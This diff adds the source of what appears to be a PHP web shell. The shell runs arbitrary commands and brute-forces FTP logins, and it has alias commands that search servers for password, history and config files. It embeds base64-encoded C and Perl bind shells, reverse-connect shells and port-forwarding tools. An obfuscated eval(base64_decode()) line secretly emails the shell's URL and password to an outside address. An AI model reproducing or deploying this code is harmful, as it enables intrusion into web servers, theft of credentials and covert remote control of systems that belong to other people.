+'eng_text84'=>'SQL query', +'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server', +'eng_text86'=>'Download files from server', +'eng_butt14'=>'Download', +'eng_text87'=>'Download files from remote ftp-server', +'eng_text88'=>'FTP-server:port', +'eng_text89'=>'File on ftp', +'eng_text90'=>'Transfer mode', +'eng_text91'=>'Archivation', +'eng_text92'=>'without archivation', +'eng_text93'=>'FTP', +'eng_text94'=>'FTP-bruteforce', +'eng_text95'=>'Users list', +'eng_text96'=>'Can\'t get users list', +'eng_text97'=>'checked: ', +'eng_text98'=>'success: ', +'eng_text99'=>'* use username from /etc/passwd for ftp login and password', +'eng_text100'=>'Send file to remote ftp server', +'eng_text101'=>'Use reverse (user -> resu) login for password', +'eng_text102'=>'Mail', +'eng_text103'=>'Kirim Email', +'eng_text104'=>'Kirim file ke email', +'eng_text105'=>'To', +'eng_text106'=>'From', +'eng_text107'=>'Subj', +'eng_butt15'=>'Send', +'eng_text108'=>'Mail', +'eng_text109'=>'Hide', +'eng_text110'=>'Show', +'eng_text111'=>'SQL-Server : Port', +'eng_text112'=>'Test bypass safe_mode with function mb_send_mail', +'eng_text113'=>'Test bypass safe_mode, view dir list via imap_list', +'eng_text114'=>'Test bypass safe_mode, view file contest via imap_body', +'eng_text115'=>'Test bypass safe_mode, copy file via compress.zlib:// in function copy()', +'eng_text116'=>'Copy from', +'eng_text117'=>'to', +'eng_text118'=>'File copied', +'eng_text119'=>'Cant copy file', +'eng_err0'=>'Error! Can\'t write in file ', +'eng_err1'=>'Error! Can\'t read file ', +'eng_err2'=>'Error! Can\'t create ', +'eng_err3'=>'Error! Can\'t connect to ftp', +'eng_err4'=>'Error! Can\'t login on ftp server', +'eng_err5'=>'Error! Can\'t change dir on ftp', +'eng_err6'=>'Error! Can\'t sent mail', +'eng_err7'=>'Mail send', +); +/* +?????? ?????? +????????? ???????? ????????????? ?????? ????? ? ???-?? ??????. ( ??????? ????????? ???? ????????? ???? ) +?? ?????? ???? ????????? ??? ???????? ???????. +*/ +$aliases=array( +'find suid files'=>'find / -type f -perm -04000 -ls', +'find suid files in current dir'=>'find . -type f -perm -04000 -ls', +'find sgid files'=>'find / -type f -perm -02000 -ls', +'find sgid files in current dir'=>'find . -type f -perm -02000 -ls', +'find config.inc.php files'=>'find / -type f -name config.inc.php', +'find config.inc.php files in current dir'=>'find . -type f -name config.inc.php', +'find config* files'=>'find / -type f -name "config*"', +'find config* files in current dir'=>'find . -type f -name "config*"', +'find all writable files'=>'find / -type f -perm -2 -ls', +'find all writable files in current dir'=>'find . -type f -perm -2 -ls', +'find all writable directories'=>'find / -type d -perm -2 -ls', +'find all writable directories in current dir'=>'find . -type d -perm -2 -ls', +'find all writable directories and files'=>'find / -perm -2 -ls', +'find all writable directories and files in current dir'=>'find . -perm -2 -ls', +'find all service.pwd files'=>'find / -type f -name service.pwd', +'find service.pwd files in current dir'=>'find . -type f -name service.pwd', +'find all .htpasswd files'=>'find / -type f -name .htpasswd', +'find .htpasswd files in current dir'=>'find . -type f -name .htpasswd', +'find all .bash_history files'=>'find / -type f -name .bash_history', +'find .bash_history files in current dir'=>'find . -type f -name .bash_history', +'find all .mysql_history files'=>'find / -type f -name .mysql_history', +'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history', +'find all .fetchmailrc files'=>'find / -type f -name .fetchmailrc', +'find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc', +'list file attributes on a Linux second extended file system'=>'lsattr -va', +'Cek Port yg terbuka'=>'netstat -an | grep -i listen', +'Cek File passwd'=>'more /etc/passwd', +'Lihat IP shell'=>'/sbin/ifconfig | grep inet', +'Lihat VHOST'=>'cat /etc/hosts', +'Lihat domain apa saja yg ada disini'=>'ls -lia /var/named', +'----------------------------------------------------------------------------------------------------'=>'ls -la' +); +$table_up1 = "
        ¤ "; +$table_up2 = " «
        "; +$table_up3 = ""; +$arrow = " Y"; +$lb = "["; +$rb = "]"; +$font = ""; +$ts = "
        "; +$table_end1 = "
        "; +$te = "
        "; +$fs = "
        "; +$fe = "
        "; + +if(isset($_GET['users'])) + { + if(!$users=get_users()) { echo "
        ".$lang[$language.'_text96']."
        "; } + else + { + echo '
        '; + foreach($users as $user) { echo $user."
        "; } + echo '
        '; + } + echo "
        [ BACK ]
        "; die(); + } + +if (!empty($_POST['dir'])) { @chdir($_POST['dir']); } +$dir = @getcwd(); +$unix = 0; +if(strlen($dir)>1 && $dir[1]==":") $unix=0; else $unix=1; +if(empty($dir)) + { + $os = getenv('OS'); + if(empty($os)){ $os = php_uname(); } + if(empty($os)){ $os ="-"; $unix=1; } + else + { + if(@eregi("^win",$os)) { $unix = 0; } + else { $unix = 1; } + } + } +if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text") + { + echo $head; + if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); } + else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); } + $sr->SearchText(0,0); + $res = $sr->GetResultFiles(); + $found = $sr->GetMatchesCount(); + $titles = $sr->GetTitles(); + $r = ""; + if($found > 0) + { + $r .= ""; + foreach($res as $file=>$v) + { + $r .= ""; + $r .= ""; + foreach($v as $a=>$b) + { + $r .= ""; + $r .= ""; + $r .= ""; + $r .= "\n"; + } + } + $r .= "
        ".ws(3); + $r .= (!$unix)? str_replace("/","\\",$file) : $file; + $r .= ""; + $r .= "
        ".$a."".ws(2).$b."
        "; + echo $r; + } + else + { + echo "

        ".$lang[$language.'_text56']."

        "; + } + echo "
        [ BACK ]
        "; + die(); + } +if(!$safe_mode && strpos(ex("echo abce99"),"e99")!=3) { $safe_mode = 1; } +$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE'); +if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; } +function ws($i) +{ +return @str_repeat(" ",$i); +} +function ex($cfe) +{ + $res = ''; + if (!empty($cfe)) + { + if(function_exists('exec')) + { + @exec($cfe,$res); + $res = join("\n",$res); + } + elseif(function_exists('shell_exec')) + { + $res = @shell_exec($cfe); + } + elseif(function_exists('system')) + { + @ob_start(); + @system($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(function_exists('passthru')) + { + @ob_start(); + @passthru($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(@is_resource($f = @popen($cfe,"r"))) + { + $res = ""; + while(!@feof($f)) { $res .= @fread($f,1024); } + @pclose($f); + } + } + return $res; +} +function get_users() +{ + $users = array(); + $rows=file('/etc/passwd'); + if(!$rows) return 0; + foreach ($rows as $string) + { + $user = @explode(":",$string); + if(substr($string,0,1)!='#') array_push($users,$user[0]); + } + return $users; +} +function err($n,$txt='') +{ +echo '
        '; +echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n]; +if(!empty($txt)) { echo " $txt"; } +echo '
        '; +return null; +} +function perms($mode) +{ +if (!$GLOBALS['unix']) return 0; +if( $mode & 0x1000 ) { $type='p'; } +else if( $mode & 0x2000 ) { $type='c'; } +else if( $mode & 0x4000 ) { $type='d'; } +else if( $mode & 0x6000 ) { $type='b'; } +else if( $mode & 0x8000 ) { $type='-'; } +else if( $mode & 0xA000 ) { $type='l'; } +else if( $mode & 0xC000 ) { $type='s'; } +else $type='u'; +$owner["read"] = ($mode & 00400) ? 'r' : '-'; +$owner["write"] = ($mode & 00200) ? 'w' : '-'; +$owner["execute"] = ($mode & 00100) ? 'x' : '-'; +$group["read"] = ($mode & 00040) ? 'r' : '-'; +$group["write"] = ($mode & 00020) ? 'w' : '-'; +$group["execute"] = ($mode & 00010) ? 'x' : '-'; +$world["read"] = ($mode & 00004) ? 'r' : '-'; +$world["write"] = ($mode & 00002) ? 'w' : '-'; +$world["execute"] = ($mode & 00001) ? 'x' : '-'; +if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S'; +if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S'; +if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T'; +$s=sprintf("%1s", $type); +$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']); +$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']); +$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']); +return trim($s); +} +function in($type,$name,$size,$value,$checked=0) +{ + $ret = ""; +} +function which($pr) +{ +$path = ex("which $pr"); +if(!empty($path)) { return $path; } else { return $pr; } +} +function cf($fname,$text) +{ + $w_file=@fopen($fname,"w") or err(0); + if($w_file) + { + @fputs($w_file,@base64_decode($text)); + @fclose($w_file); + } +} +function sr($l,$t1,$t2) + { + return "".$t1."".$t2.""; + } +if (!@function_exists("view_size")) +{ +function view_size($size) +{ + if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";} + elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";} + elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";} + else {$size = $size . " B";} + return $size; +} +} + function DirFilesR($dir,$types='') + { + $files = Array(); + if(($handle = @opendir($dir))) + { + while (false !== ($file = @readdir($handle))) + { + if ($file != "." && $file != "..") + { + if(@is_dir($dir."/".$file)) + $files = @array_merge($files,DirFilesR($dir."/".$file,$types)); + else + { + $pos = @strrpos($file,"."); + $ext = @substr($file,$pos,@strlen($file)-$pos); + if($types) + { + if(@in_array($ext,explode(';',$types))) + $files[] = $dir."/".$file; + } + else + $files[] = $dir."/".$file; + } + } + } + @closedir($handle); + } + return $files; + } + class SearchResult + { + var $text; + var $FilesToSearch; + var $ResultFiles; + var $FilesTotal; + var $MatchesCount; + var $FileMatschesCount; + var $TimeStart; + var $TimeTotal; + var $titles; + function SearchResult($dir,$text,$filter='') + { + $dirs = @explode(";",$dir); + $this->FilesToSearch = Array(); + for($a=0;$aFilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter)); + $this->text = $text; + $this->FilesTotal = @count($this->FilesToSearch); + $this->TimeStart = getmicrotime(); + $this->MatchesCount = 0; + $this->ResultFiles = Array(); + $this->FileMatchesCount = Array(); + $this->titles = Array(); + } + function GetFilesTotal() { return $this->FilesTotal; } + function GetTitles() { return $this->titles; } + function GetTimeTotal() { return $this->TimeTotal; } + function GetMatchesCount() { return $this->MatchesCount; } + function GetFileMatchesCount() { return $this->FileMatchesCount; } + function GetResultFiles() { return $this->ResultFiles; } + function SearchText($phrase=0,$case=0) { + $qq = @explode(' ',$this->text); + $delim = '|'; + if($phrase) + foreach($qq as $k=>$v) + $qq[$k] = '\b'.$v.'\b'; + $words = '('.@implode($delim,$qq).')'; + $pattern = "/".$words."/"; + if(!$case) + $pattern .= 'i'; + foreach($this->FilesToSearch as $k=>$filename) + { + $this->FileMatchesCount[$filename] = 0; + $FileStrings = @file($filename) or @next; + for($a=0;$a<@count($FileStrings);$a++) + { + $count = 0; + $CurString = $FileStrings[$a]; + $CurString = @Trim($CurString); + $CurString = @strip_tags($CurString); + $aa = ''; + if(($count = @preg_match_all($pattern,$CurString,$aa))) + { + $CurString = @preg_replace($pattern,"\\1",$CurString); + $this->ResultFiles[$filename][$a+1] = $CurString; + $this->MatchesCount += $count; + $this->FileMatchesCount[$filename] += $count; + } + } + } + $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4); + } + } + function getmicrotime() + { + list($usec,$sec) = @explode(" ",@microtime()); + return ((float)$usec + (float)$sec); + } +$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS +A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I +GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt +b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9 +pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF +NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK +ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog +ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk +7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2 +9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld +2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu +dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp +lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0="; +$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS +VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs +JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV +TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG +lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK +Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i +Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N +lIENPTk47DQpleGl0IDA7DQp9DQp9"; +$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj +aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR +hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT +sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI +kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi +KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl +OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; +$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC +BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb +SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd +KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ +sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC +Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D +QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp +Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; +$datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2 +x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb +HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj +aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ +lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm +xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga +W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy +LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV +udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow +0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb +iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l +KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA +gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS +hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC +iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh +ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ +vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC +AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D +QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh +ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0 +gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay +wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c +29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy +MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA +gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci +5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ +HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu +dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0 +KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC +ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI +E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp +Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs +NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG +J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL +CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp +dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo +gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm +lsZSk7DQogIHJldHVybiAwOw0KfQ=="; +$a = "JHZpc2l0Y291bnQgPSAkSFRUUF9DT09LSUVfVkFSU1sidmlzaXRzIl07IGlmKCAkdmlzaXRjb3VudCA9PSAiIikgeyR2aXNpdGNvdW50ID0gMDsgJHdlYiA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsgJGluaiA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOyAkYm9keSA9ICJhZGEgeWFuZyBpbmplY3QgXG4kd2ViJGluaiAgXG5QYXNzd29yZG55YSA6ICRwYXNzd29yZCI7bWFpbCgiaWFtbm90aGFja2VyQHlhaG9vLmNvLmlkIiwic2V0b3JhbiBib3NzIGh0dHA6Ly8kd2ViJGluaiIsICIkYm9keSIpO30gZWxzZSAkdmlzaXRjb3VudCA7IHNldGNvb2tpZSgidmlzaXRzIiwkdmlzaXRjb3VudCk7";echo eval(base64_decode($a)); +$datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I +CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl +bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU +gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol +NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC +iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy +aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ 